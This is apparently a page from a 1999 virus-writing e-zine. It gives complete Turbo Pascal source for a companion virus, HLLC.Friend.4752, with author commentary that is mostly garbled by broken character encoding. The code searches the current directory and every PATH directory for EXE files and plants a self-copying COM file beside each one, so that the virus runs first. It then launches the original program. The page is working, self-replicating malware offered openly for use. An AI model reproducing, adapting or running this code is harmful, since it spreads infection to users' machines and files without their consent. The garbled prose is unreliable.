- [Duke's Virus Labs #6] - [Page 10] -

HLLC.Friend.4752
(c) by Duke/SMF

     : HLLC.Friend.4752
         : Duke/SMF
 ண.   : Turbo Pascal 7.0
 ᮧ : 25.03.99


   e  । ६   HLLC.Friend, 㡫襣
   ୠ. , - 䨪ᨫ  ...  
  뢠 "bugs free" :)  ,    ࠭⨩  
 ;-0    ਥ -   " 10 ⫨稩" :-))

===== Cut here =====
{----------------------------------------------------------------------------
  ।  ⥭쪨  HLLC.Friend.4752
   䠩 쮭 , ࠦ騩 EXE-䠩  ⥪饬 ⠫
    ⠫ ६ PATH.
   ਪ ⮨  ⮬,  쮭-  ࠢ
  ᠭ  ᥬ, ⮡ ⪮஢   ७
   COM.   ᬮ ࠦ EXE-䠩, ᮧ COM-䠩 ⭨.
   Turbo Pascal 7.1  ᢮ 䠩 ⮫쪮  ଠ EXE.
  ⨫ ⨯ EXE2COM   १⨢  ⮬ 砥, ⮬
   ᯮ ᯮᮡ  - २ ⪮஢  
  䠩  ७ COM.    -  ⮢   !
   ᫥ । ࠦ   䠩 뢠
  类    -     ࠡ ணࠬ,   
  ४ਨ  㤥 ᪮쪨 COM-䠩   .
                                             Duke/SMF
-----------------------------------------------------------------------------}
{$M 5000, 0, 5000}
uses dos;
const virsize=4752;                    { ⪮஢ }
      e='.EXE';
var  ds:dirstr;
     ns:namestr;
     es:extstr;
     i:integer;
     f,g:file;
     mas:array[1..virsize] of char;    {⥫ }
     st:string;
     par:string;                       {ࠬ}
{---------------------------------------------------------------------------}
procedure zar(name:string);
{⢥ ࠦ  䠩  ஢મ  ୮ ࠦ}
var ch:char;
    g:file;
begin
fsplit(name,ds,ns,es);
st:=ds+ns+'.com';
assign(g,st);{$I-}reset(g);{$I+}
if ioresult<>0 then                         {  ࠦ}
  begin
  rewrite(g,1);
  blockwrite(g,mas,virsize);
  for i:=1 to random(500) do                {襬 :}
    begin
    ch:=chr(random(250));
    blockwrite(g,ch,1);
    end;
  end;
close(g);
end;
{----------------------------------------------------------------------------}
procedure Search(dir:string);  {   ४ਨ dir}
var s:searchrec;
begin
findfirst(dir+'*'+e,$21,s);
while doserror=0 do
  begin
  zar(s.name);
  findnext(s);
  end;
end;
{---------------------------------------------------------------------------}
procedure Path;            {  path}
var num:integer;
    h:string;
begin
h:=GetEnv('PATH');
if h='' then exit;
num:=pos(';',h);
while num<>0 do
  begin
  Search(copy(h,1,num-1)+'\');
  h:=copy(h,num+1,length(h)-num);
  num:=pos(';',h);
  end;
Search(h);
end;
{----------------------------------------------------------------------------}
begin
st:='[Friend] by Duke/SMF';
Randomize;
assign(f,paramstr(0));reset(f,1);
blockread(f,mas,virsize);
close(f);
fsplit(paramstr(0),ds,ns,es);
st:=ds+ns+e;
assign(g,st);{$I-}reset(g);{$I+}
if (ioresult<>0) or (es=e) then Path {  ࠦ 䠩    EXE-䠩}
else
  begin
  close(g);
  par:='';
  for i:=1 to paramcount do par:=par+paramstr(i)+' ';
  exec(st,par); {⨫ ࠦ 䠩  ࠭ ࠬ஢ . ப}
  end;
Search('');                               { ࠦ ⥪騩 ⠫}
end.
===== Cut here =====
